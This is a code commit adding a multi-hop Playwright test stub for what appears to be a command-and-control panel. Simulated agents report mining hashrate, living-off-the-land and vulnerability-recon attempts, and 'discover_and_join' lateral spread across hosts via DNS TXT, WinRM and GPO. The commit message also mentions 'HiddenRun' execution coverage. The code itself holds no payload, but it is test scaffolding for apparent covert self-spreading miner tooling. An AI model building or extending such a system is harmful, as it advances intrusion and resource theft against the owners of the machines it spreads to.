Close automatable P2 test gaps with mocks and httptest integration.

Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.

server/web/e2e/discover-spread-stub.ts

@@ -1,13 +1,48 @@
 /**
- * Stub agent for discover→spread E2E — acknowledges discover_and_join and reports join_lane.
+ * Stub agents for discover→spread E2E — multi-hop chain acknowledges discover_and_join
+ * and propagates join_lane stats across egress → seed → leaf hops.
  */
 import type { APIRequestContext } from '@playwright/test';
 import { fetchFleetSecret, waitForServerHealth } from './fixtures';
 
-export const E2E_DISCOVER_AGENT_ID = 'e2e-discover-spread-agent';
-export const E2E_DISCOVER_AGENT_HOSTNAME = 'E2E-Discover-Host';
-export const E2E_DISCOVER_JOIN_LANE = 'dns_txt';
-export const E2E_DISCOVER_JOIN_LABEL = 'DNS TXT';
+export type DiscoverSpreadHop = {
+  id: string;
+  hostname: string;
+  joinLane: string;
+  joinLabel: string;
+  hopIndex: number;
+};
+
+/** Three-hop discover→spread chain: egress discovers, seed WinRM, leaf GPO. */
+export const E2E_DISCOVER_CHAIN_HOPS: readonly DiscoverSpreadHop[] = [
+  {
+    id: 'e2e-discover-hop0',
+    hostname: 'E2E-Hop0-Egress',
+    joinLane: 'dns_txt',
+    joinLabel: 'DNS TXT',
+    hopIndex: 0,
+  },
+  {
+    id: 'e2e-discover-hop1',
+    hostname: 'E2E-Hop1-Seed',
+    joinLane: 'winrm',
+    joinLabel: 'WinRM',
+    hopIndex: 1,
+  },
+  {
+    id: 'e2e-discover-hop2',
+    hostname: 'E2E-Hop2-Leaf',
+    joinLane: 'gpo',
+    joinLabel: 'GPO',
+    hopIndex: 2,
+  },
+] as const;
+
+/** Back-compat aliases for single-hop tests. */
+export const E2E_DISCOVER_AGENT_ID = E2E_DISCOVER_CHAIN_HOPS[0].id;
+export const E2E_DISCOVER_AGENT_HOSTNAME = E2E_DISCOVER_CHAIN_HOPS[0].hostname;
+export const E2E_DISCOVER_JOIN_LANE = E2E_DISCOVER_CHAIN_HOPS[0].joinLane;
+export const E2E_DISCOVER_JOIN_LABEL = E2E_DISCOVER_CHAIN_HOPS[0].joinLabel;
 
 const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
 const STATS_INTERVAL_MS = 1_000;
@@ -33,32 +68,61 @@ function send(ws: WebSocket, type: string, payload: Record<string, unknown>): vo
   ws.send(JSON.stringify({ type, payload }));
 }
 
-function sendStubStats(ws: WebSocket, joinLane?: string): void {
+function sendStubStats(ws: WebSocket, hop: DiscoverSpreadHop, joinLane?: string): void {
   send(ws, 'stats', {
-    hashrate_15s: 42,
-    hashrate_1m: 42,
-    hashrate_15m: 42,
+    hashrate_15s: 42 + hop.hopIndex,
+    hashrate_1m: 42 + hop.hopIndex,
+    hashrate_15m: 42 + hop.hopIndex,
     shares_submitted: 0,
     shares_accepted: 0,
     cpu_usage_pct: 5,
     memory_usage_pct: 40,
-    uptime_seconds: 120,
+    uptime_seconds: 120 + hop.hopIndex * 30,
     active_method: 'inprocess',
-    mining_hashrate: 42,
+    mining_hashrate: 42 + hop.hopIndex,
     lotl_tier: 'inprocess',
     lotl_attempts: [
       { tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' },
-      { tier: 'dns_txt', ok: true, duration_ms: 450, phase: 'deploy' },
+      { tier: hop.joinLane, ok: true, duration_ms: 450 + hop.hopIndex * 100, phase: 'deploy' },
     ],
+    spread_route_hint: {
+      egress_hop_index: hop.hopIndex,
+      join_lane: joinLane ?? hop.joinLane,
+      target_subnet: '10.99.0',
+    },
     ...(joinLane ? { join_lane: joinLane } : {}),
   });
 }
 
-async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): Promise<() => void> {
+type HopConnection = {
+  hop: DiscoverSpreadHop;
+  ws: WebSocket;
+  statsTimer: ReturnType<typeof setInterval>;
+};
+
+const hopConnections = new Map<string, HopConnection>();
+
+function propagateChainJoinLanes(fromHopIndex: number): void {
+  for (const conn of hopConnections.values()) {
+    if (conn.hop.hopIndex <= fromHopIndex) continue;
+    const delayMs = (conn.hop.hopIndex - fromHopIndex) * 600;
+    setTimeout(() => {
+      if (conn.ws.readyState === WebSocket.OPEN) {
+        sendStubStats(conn.ws, conn.hop, conn.hop.joinLane);
+      }
+    }, delayMs);
+  }
+}
+
+async function connectDiscoverSpreadHop(
+  baseUrl: string,
+  fleetSecret: string,
+  hop: DiscoverSpreadHop,
+): Promise<() => void> {
   const ws = new WebSocket(wsAgentUrl(baseUrl));
 
   await new Promise<void>((resolve, reject) => {
-    const timer = setTimeout(() => reject(new Error('discover stub ws open timeout')), 10_000);
+    const timer = setTimeout(() => reject(new Error(`discover stub ws open timeout (${hop.id})`)), 10_000);
     ws.addEventListener(
       'open',
       () => {
@@ -71,16 +135,16 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
       'error',
       () => {
         clearTimeout(timer);
-        reject(new Error('discover stub ws connection failed'));
+        reject(new Error(`discover stub ws connection failed (${hop.id})`));
       },
       { once: true },
     );
   });
 
   send(ws, 'auth', {
-    agent_id: E2E_DISCOVER_AGENT_ID,
+    agent_id: hop.id,
     fleet_secret: fleetSecret,
-    hostname: E2E_DISCOVER_AGENT_HOSTNAME,
+    hostname: hop.hostname,
     version: '1.0.0-e2e',
     platform: 'windows',
     arch: 'amd64',
@@ -89,7 +153,7 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
   });
 
   await new Promise<void>((resolve, reject) => {
-    const timer = setTimeout(() => reject(new Error('discover stub auth timeout')), 30_000);
+    const timer = setTimeout(() => reject(new Error(`discover stub auth timeout (${hop.id})`)), 30_000);
     const onMessage = (ev: MessageEvent) => {
       let msg: HubMessage;
       try {
@@ -102,7 +166,7 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
       ws.removeEventListener('message', onMessage);
       const body = parsePayload(msg.payload);
       if (body.success !== true) {
-        reject(new Error(`discover stub auth rejected: ${JSON.stringify(body)}`));
+        reject(new Error(`discover stub auth rejected (${hop.id}): ${JSON.stringify(body)}`));
         return;
       }
       resolve();
@@ -110,8 +174,9 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
     ws.addEventListener('message', onMessage);
   });
 
-  sendStubStats(ws);
-  const statsTimer = setInterval(() => sendStubStats(ws), STATS_INTERVAL_MS);
+  sendStubStats(ws, hop);
+  const statsTimer = setInterval(() => sendStubStats(ws, hop, hop.joinLane), STATS_INTERVAL_MS);
+  hopConnections.set(hop.id, { hop, ws, statsTimer });
 
   ws.addEventListener('message', (ev) => {
     let msg: HubMessage;
@@ -126,38 +191,53 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
     const command = String(payload.command ?? '').trim().toLowerCase();
 
     if (action === 'discover_and_join' || command === 'discover_and_join') {
+      if (hop.hopIndex === 0) {
+        const chain = E2E_DISCOVER_CHAIN_HOPS.map((h) => h.hostname).join(' → ');
+        send(ws, 'command_result', {
+          action: 'discover_and_join',
+          success: true,
+          message: `discover_and_join ok — multi-hop chain ${chain}`,
+        });
+        sendStubStats(ws, hop, hop.joinLane);
+        propagateChainJoinLanes(hop.hopIndex);
+        return;
+      }
       send(ws, 'command_result', {
         action: 'discover_and_join',
         success: true,
-        message: `discover_and_join ok — join_lane=${E2E_DISCOVER_JOIN_LANE}`,
+        message: `discover_and_join ok — join_lane=${hop.joinLane}`,
       });
-      sendStubStats(ws, E2E_DISCOVER_JOIN_LANE);
+      sendStubStats(ws, hop, hop.joinLane);
       return;
     }
 
-    send(ws, 'command_result', { action, success: true, message: 'e2e-discover-stub-ok' });
+    send(ws, 'command_result', { action, success: true, message: `e2e-discover-stub-ok (${hop.id})` });
   });
 
   return () => {
+    hopConnections.delete(hop.id);
     clearInterval(statsTimer);
     ws.close();
   };
 }
 
 let serverReady = false;
-let disconnectStub: (() => void) | null = null;
+const disconnectStubs: Array<() => void> = [];
 let connectPromise: Promise<boolean> | null = null;
 
 export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise<boolean> {
-  if (disconnectStub) return serverReady;
+  if (disconnectStubs.length > 0) return serverReady;
   if (!connectPromise) {
     connectPromise = (async () => {
       serverReady = await waitForServerHealth(request);
       if (!serverReady) return false;
 
       const fleetSecret = await fetchFleetSecret(request);
-      disconnectStub = await connectDiscoverSpreadStub(baseURL, fleetSecret);
-      await new Promise((r) => setTimeout(r, 2_500));
+      for (const hop of E2E_DISCOVER_CHAIN_HOPS) {
+        const disconnect = await connectDiscoverSpreadHop(baseURL, fleetSecret, hop);
+        disconnectStubs.push(disconnect);
+      }
+      await new Promise((r) => setTimeout(r, 3_000));
       return true;
     })();
   }
@@ -169,8 +249,10 @@ export function isDiscoverSpreadStubReady(): boolean {
 }
 
 export function teardownDiscoverSpreadStub(): void {
-  disconnectStub?.();
-  disconnectStub = null;
+  while (disconnectStubs.length > 0) {
+    disconnectStubs.pop()?.();
+  }
+  hopConnections.clear();
   connectPromise = null;
   serverReady = false;
 }

server/web/e2e/discover-spread.spec.ts

@@ -5,6 +5,7 @@ import {
   ensureDiscoverSpreadStub,
   E2E_DISCOVER_AGENT_HOSTNAME,
   E2E_DISCOVER_AGENT_ID,
+  E2E_DISCOVER_CHAIN_HOPS,
   E2E_DISCOVER_JOIN_LABEL,
   isDiscoverSpreadStubReady,
 } from './discover-spread-stub';
@@ -93,5 +94,41 @@ test.describe('Crucible discover and spread E2E', () => {
         timeout: 15_000,
       });
     });
+
+    test('multi-hop chain propagates join lanes across egress seed and leaf', async ({ page }) => {
+      const [egress, seed, leaf] = E2E_DISCOVER_CHAIN_HOPS;
+      await openCrucibleSpreadTab(page, egress.hostname);
+
+      const commandRequest = page.waitForRequest(
+        (req) =>
+          req.method() === 'POST' &&
+          req.url().includes(`/api/v1/agents/${egress.id}/command`) &&
+          req.postDataJSON()?.action === 'discover_and_join',
+      );
+
+      await page.getByRole('button', { name: 'Probe & Join' }).click();
+      await commandRequest;
+
+      await expect(page.locator('.crucible-terminal')).toContainText('multi-hop chain', {
+        timeout: 10_000,
+      });
+      await expect(page.locator('.access-depth-panel')).toContainText(egress.joinLabel, {
+        timeout: 15_000,
+      });
+
+      for (const hop of [seed, leaf]) {
+        const card = page.locator('.crucible-node-card').filter({ hasText: hop.hostname });
+        await expect(card).toBeVisible({ timeout: 15_000 });
+        await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
+        await card.click();
+        await expect(
+          page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${hop.hostname}`)),
+        ).toBeVisible({ timeout: 10_000 });
+        await page.getByRole('button', { name: 'LATERAL / SPREAD' }).click();
+        await expect(page.locator('.access-depth-panel')).toContainText(hop.joinLabel, {
+          timeout: 20_000,
+        });
+      }
+    });
   });
 });